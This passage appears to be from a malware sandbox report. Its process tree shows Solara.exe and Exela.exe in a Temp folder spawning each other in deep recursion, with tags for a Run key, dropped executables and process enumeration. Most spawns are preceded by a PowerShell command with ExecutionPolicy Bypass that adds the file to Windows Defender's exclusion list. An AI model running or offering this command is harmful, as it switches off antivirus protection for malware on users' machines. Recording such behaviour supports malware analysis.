C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'52⤵PID:4664
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"52⤵
- Adds Run key to start application
PID:4648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'53⤵
- Command and Scripting Interpreter: PowerShell
PID:1760
-
-
C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"53⤵PID:5116
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'53⤵
- Command and Scripting Interpreter: PowerShell
PID:2876
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"53⤵PID:484
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"54⤵PID:3232
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"55⤵PID:3028
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'52⤵PID:5108
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"52⤵PID:868
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"53⤵PID:4792
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"54⤵PID:3356
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'51⤵
- Command and Scripting Interpreter: PowerShell
PID:4244
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"51⤵PID:4208
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"52⤵PID:3148
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"53⤵PID:3396
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'50⤵PID:4008
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"50⤵PID:1140
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"51⤵PID:2876
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"52⤵PID:2160
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'49⤵
- Command and Scripting Interpreter: PowerShell
PID:4696
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"49⤵PID:3284
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"50⤵PID:5108
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"51⤵PID:3120
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'48⤵
- Command and Scripting Interpreter: PowerShell
PID:4048
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"48⤵PID:1100
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"49⤵PID:1272
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"50⤵PID:4868
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'47⤵
- Command and Scripting Interpreter: PowerShell
PID:3308
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"47⤵PID:4160
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"48⤵PID:3772
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"49⤵PID:1584
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'46⤵PID:484
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"46⤵PID:3824
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"47⤵PID:400
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"48⤵PID:1756
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'45⤵
- Command and Scripting Interpreter: PowerShell
PID:2420
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"45⤵PID:4852
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"46⤵PID:3392
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"47⤵PID:2196
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'44⤵
- Command and Scripting Interpreter: PowerShell
PID:1616
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"44⤵PID:1812
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"45⤵PID:4516
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"46⤵PID:4588
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'43⤵PID:916
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"43⤵PID:1936
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"44⤵PID:2076
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"45⤵PID:4372
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'42⤵PID:1568
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"42⤵PID:1948
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"43⤵PID:932
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"44⤵PID:2516
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'41⤵
- Command and Scripting Interpreter: PowerShell
PID:2924
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"41⤵PID:2028
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"42⤵PID:3568
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"43⤵PID:2432
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'40⤵
- Command and Scripting Interpreter: PowerShell
PID:5060
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"40⤵PID:868
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"41⤵PID:2092
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"42⤵PID:2312
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'39⤵PID:4184
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"39⤵PID:2240
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"40⤵PID:4828
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"41⤵PID:2408
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'38⤵
- Command and Scripting Interpreter: PowerShell
PID:4244
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"38⤵PID:332
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"39⤵PID:4784
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"40⤵PID:1516
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'37⤵
- Command and Scripting Interpreter: PowerShell
PID:1144
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"37⤵PID:4896
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"38⤵PID:4124
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"39⤵PID:4864
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'36⤵
- Command and Scripting Interpreter: PowerShell
PID:3760
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"36⤵PID:4208
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"37⤵PID:3568
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"38⤵PID:3248
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'35⤵PID:716
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"35⤵PID:4788
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"36⤵PID:4244
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"37⤵PID:4428
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'34⤵
- Command and Scripting Interpreter: PowerShell
PID:1932
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"34⤵PID:3156
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"35⤵PID:1216
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"36⤵PID:2384
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'33⤵
- Command and Scripting Interpreter: PowerShell
PID:4624
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"33⤵
- Executes dropped EXE
PID:4880 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"34⤵
- Executes dropped EXE
PID:228 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"35⤵PID:1404
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'32⤵
- Command and Scripting Interpreter: PowerShell
PID:4504
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"32⤵
- Executes dropped EXE
PID:2584 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"33⤵
- Executes dropped EXE
PID:3416 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"34⤵PID:1584
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'31⤵PID:1420
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"31⤵
- Executes dropped EXE
PID:1300 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"32⤵
- Executes dropped EXE
PID:4948 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"33⤵PID:4208
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'30⤵PID:2408
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"30⤵
- Executes dropped EXE
PID:3772 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"31⤵
- Executes dropped EXE
PID:1436 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"32⤵PID:2300
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'29⤵
- Command and Scripting Interpreter: PowerShell
PID:4720
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"29⤵
- Executes dropped EXE
PID:2240 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"30⤵
- Executes dropped EXE
PID:1216 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"31⤵PID:2912
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'28⤵
- Command and Scripting Interpreter: PowerShell
PID:2548
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"28⤵
- Executes dropped EXE
PID:2328 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"29⤵
- Executes dropped EXE
PID:2636 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"30⤵PID:4320
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'27⤵PID:4128
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"27⤵
- Executes dropped EXE
PID:1756 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"28⤵
- Executes dropped EXE
PID:720 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"29⤵PID:1524
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'26⤵
- Command and Scripting Interpreter: PowerShell
PID:5060
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"26⤵
- Executes dropped EXE
PID:1572 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"27⤵
- Executes dropped EXE
PID:228 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"28⤵PID:4692
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'25⤵
- Command and Scripting Interpreter: PowerShell
PID:5004
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"25⤵
- Executes dropped EXE
PID:4244 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"26⤵
- Executes dropped EXE
PID:4152 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"27⤵PID:3948
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'24⤵PID:5052
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"24⤵
- Executes dropped EXE
PID:2384 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"25⤵
- Executes dropped EXE
PID:1672 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"26⤵PID:3012
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'23⤵
- Command and Scripting Interpreter: PowerShell
PID:3256
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"23⤵
- Executes dropped EXE
PID:4104 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"24⤵
- Executes dropped EXE
PID:4788 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"25⤵PID:2120
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'22⤵
- Command and Scripting Interpreter: PowerShell
PID:1860
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"22⤵
- Executes dropped EXE
PID:4392 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"23⤵
- Executes dropped EXE
PID:4712 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"24⤵PID:2740
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'21⤵
- Command and Scripting Interpreter: PowerShell
PID:4036
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"21⤵
- Executes dropped EXE
PID:780 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"22⤵
- Executes dropped EXE
PID:868 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"23⤵PID:1436
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'20⤵
- Command and Scripting Interpreter: PowerShell
PID:3428
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"20⤵
- Executes dropped EXE
PID:4888 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"21⤵
- Executes dropped EXE
PID:1356 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"22⤵PID:484
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'19⤵PID:1584
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"19⤵
- Executes dropped EXE
PID:3016 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"20⤵
- Executes dropped EXE
PID:3448 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"21⤵PID:3260
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'18⤵PID:2400
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"18⤵
- Executes dropped EXE
PID:568 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"19⤵
- Executes dropped EXE
PID:1112 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"20⤵PID:3324
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'17⤵PID:4604
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"17⤵
- Executes dropped EXE
PID:4952 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"18⤵
- Executes dropped EXE
PID:236 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"19⤵PID:4172
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'16⤵
- Suspicious behavior: EnumeratesProcesses
PID:2156
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"16⤵
- Executes dropped EXE
PID:1632 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"17⤵
- Executes dropped EXE
PID:684 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"18⤵PID:3332
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'15⤵
- Suspicious behavior: EnumeratesProcesses
PID:1124
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"15⤵
- Executes dropped EXE
PID:2004 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"16⤵
- Executes dropped EXE
PID:2992 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"17⤵PID:1660
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:900
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"14⤵
- Executes dropped EXE
PID:4852 -
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"15⤵
- Executes dropped EXE
PID:4152 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"16⤵PID:4616
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4300
-
-
C:\Users\Admin\AppData\Local\Temp\Exela.exe"C:\Users\Admin\AppData\Local\Temp\Exela.exe"13⤵
